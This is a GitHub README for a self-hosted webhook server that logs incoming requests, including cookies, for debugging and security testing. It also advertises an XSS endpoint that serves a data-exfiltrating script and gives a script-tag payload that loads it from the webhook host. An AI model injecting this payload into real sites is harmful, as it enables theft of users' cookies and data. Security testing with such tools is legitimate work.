Skip to content
/ adh Public

This project is nothing innovative or groundbreaking. I just wanted to create my own webhook to deploy on a VPS, avoiding dependencies on tools like webhook.site, localtunnel, ngrok, or other similar services. It is fully customizable, and you can use it for various purposes like logging, request handling, or data collection.

License

Notifications You must be signed in to change notification settings

akiidjk/adh

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

74 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Adh (Advanced Detailed Hook)

Adh Logo

This project was born from the need to have a personal and fully customizable webhook service to deploy on a VPS, without relying on external tools like webhook.site, localtunnel, ngrok, or similar services. It offers flexibility for a wide range of use cases, such as request logging, payload inspection, or data collection, making it a versatile tool for developers and cybersecurity professionals alike.

🧩 Overview

The core of this project is a simple webhook server that listens for incoming HTTP requests, logs the relevant information, and stores request data in Redis. It is built with Go for the backend and uses Redis for storage. The project aims to be lightweight, flexible, and simple to set up, but with room for expansion (such as adding a dashboard).

img

🚀 Features

  • Data Logging: Logs requests including headers, cookies, body content, and user agent.
  • Redis Integration: Store incoming request data in Redis, making it easy to scale or manage.
  • XSS Exploit Script: Serve a simple exploit script for XSS attacks (stealed from xss.report).
  • High customizability: Customize the server to fit your needs.
  • Search Bar Support: Add a search bar for requests with RedisSearch syntax.

📊 Dashboard

Below are some screenshots of the dashboard:

Dashboard1 Dashboard2
Dashboard3 Dashboard4

⚙️ Installation

To get started with the Adh, follow the steps below:

Prerequisites

  • A machine exposed to the Internet (this tool is not a tunnelling solution such as ngrok or Localtunnel).
  • Docker and Docker Compose installed on your machine.

Clone the Repository

git clone https://github.com/akiidjk/adh.git
cd adh

Set Up Docker Containers

  1. Modify your environment variables in the .env file to suit your configuration based on the provided example.
PORT=8000
ADDR=0.0.0.0
LOG_LEVEL=info
REDIS_ADDR=redis
REDIS_PORT=6379
REDIS_URL=redis://redis:6379
USER_ID=0
USER_NAME=akiidjk
USER_PASSWORD=akiidjk
SECRET_KEY=polpetta
  1. Now you can build and start your containers with:
docker-compose up --build -d

Access the Webhook

Once the containers are running, you can access your webhook on:

http://localhost:8000

The server will now be accepting requests on the specified port (8000 by default).

🛠 Configuration

The following environment variables are available for customization:

  • REDIS_ADDR: Address of the Redis server. Defaults to localhost or redis if using Docker.
  • REDIS_PORT: Port for the Redis server. Defaults to 6379.
  • REDIS_PASS: Redis password (if needed).
  • LOG_LEVEL: Log level for the application. Options are debug, info, warn, error. Defaults to info.
  • REDIS_URL: URL of the Redis server. Defaults to redis://localhost:6379.
  • USER_ID: User ID for the application. Defaults to admin.
  • USER_NAME: User name for the application. Defaults to admin.
  • USER_PASS: User password for the application. Defaults to Admin.
  • SECRET_KEY: Secret key for the application. Defaults to secret.

🔍 Health Check

A background goroutine regularly pings Redis to ensure availability, reporting status via an internal channel. The check interval is configurable.

📁 Log Storage

The application saves all logs to a folder on your host machine. The logs are stored in the ./adh-webhook/logs directory on your host system, ensuring that the logs persist even when the container is restarted or destroyed. This is done via Docker bind mounts, which map the ./adh-webhook/logs folder on your local machine to /var/log/webhook in the container.

🧪 Example Request

Try sending a POST request:

curl -X POST http://localhost:8000 -H "Content-Type: application/json" -d '{"key":"value"}'

🐛 XSS Script

Available at the /_ endpoint, Adh serves a JavaScript snippet (inspired by xss.report) that exfiltrates data via a request to your server.

Example payload:

<script src="http://localhost:8000/_"></script>

Customize the domain in the script if running Adh on a different host.

📌 To-Do

  • Dashboard: The current project lacks a UI dashboard to visualize requests and data. This will be added in the future.
  • Authentication: Implement an authentication mechanism to restrict access to the webhook dashboard.
  • Fix http problem with Docker
  • Implement rate limiting to prevent abuse
  • Add logout button
  • Add search bar for requests
  • Add clear button

🤝 Contributing

Pull requests, issues, and forks are welcome! If you have an idea or fix, feel free to contribute.

📝 License

Licensed under the MIT License — see the LICENSE file for details.

📎 Conclusion

Adh is a self-hosted, fast, and flexible solution for managing and inspecting HTTP requests in real time. Whether you're debugging, collecting data, or simulating attacks, Adh is ready to be tailored to your workflow.

About

This project is nothing innovative or groundbreaking. I just wanted to create my own webhook to deploy on a VPS, avoiding dependencies on tools like webhook.site, localtunnel, ngrok, or other similar services. It is fully customizable, and you can use it for various purposes like logging, request handling, or data collection.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published